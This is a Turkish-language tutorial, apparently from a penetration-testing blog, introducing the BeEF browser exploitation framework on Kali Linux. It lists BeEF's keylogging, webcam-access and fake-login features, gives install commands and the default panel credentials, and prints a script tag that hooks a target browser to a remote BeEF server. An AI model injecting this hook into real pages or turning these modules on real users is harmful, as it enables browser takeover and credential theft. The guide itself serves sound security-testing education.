**BeEF (Browser Exploitation Framework)**, tarayıcı tabanlı güvenlik açıklarını test etmek için kullanılan gelişmiş ve güçlü bir sızma testi framework’üdür. Özellikle sosyal mühendislik saldırılarıyla ilişkili olarak kullanılır ve hedefin tarayıcısı üzerinden kontrol sağlamaya odaklanır. JavaScript enjeksiyonu yoluyla hedef tarayıcıya “hook” (bağlantı) sağladıktan sonra çeşitli modüllerle komutlar çalıştırabilir, bilgi toplayabilir veya ileri düzey saldırılar gerçekleştirebilir.

**Bu aracın özellikleri nelerdir?**

**Tarayıcı Odaklı Sömürü:** Web tarayıcılarının güvenlik açıklarını hedef alır.

**Hook Sistemi:** Hedef tarayıcıyı hook’layarak (bağlayarak) canlı kontrol imkânı sunar.

**Modüler Yapı:** İçerisinde çok sayıda yerleşik modül barındırır (keylogger, port scan, webcam erişimi vb.).

**Gerçek Zamanlı İzleme:** Hedef tarayıcının konumu, açık sekmeleri, eklentileri gibi bilgiler gerçek zamanlı alınabilir.

**Sosyal Mühendislik Araçları:** Kullanıcıyı kandırmak için sahte giriş pencereleri, güncelleme uyarıları gibi şablonlar içerir.

**Web Arayüzü:** Kullanıcı dostu kontrol paneli ile yönetim sağlar.

**Açık Kaynak:** Aktif olarak geliştirilen topluluk destekli bir araçtır.

**Bu aracı Kali Linux'a kurma ve kullanma adımları:**

**Adım 1: BeEF Kurulumu**

Kali Linux’ta BeEF genellikle ön yüklü gelir. Eğer kurulu değilse şu komut ile kurulabilir:

“sudo apt update

sudo apt install beef-xss”

**Adım 2: BeEF Arayüzünü Başlatma**

BeEF arayüzünü başlatmak için terminale şu komutu yazın:

“sudo beef-xss”

metin, ekran görüntüsü, yazı tipi içeren bir resim

Açıklama otomatik olarak oluşturuldu

**Adım 3: Web Arayüzüne Erişim**

BeEF kontrol paneline erişmek için tarayıcınızda şu adresi açın:

<http://127.0.0.1:3000/ui/panel>

* Kullanıcı Adı: beef
* Parola: beef

Giriş yaptıktan sonra hook’lanmış tarayıcıları ve komut modüllerini buradan yönetebilirsiniz.

**Adım 4: Hook URL’si ile Hedefi Bağlama**

BeEF hedef tarayıcıya şu JavaScript koduyla bağlantı kurar:

“<script src="http://<beef-ip>:3000/hook.js"></script>”

metin, ekran görüntüsü, yazı tipi içeren bir resim

Açıklama otomatik olarak oluşturuldu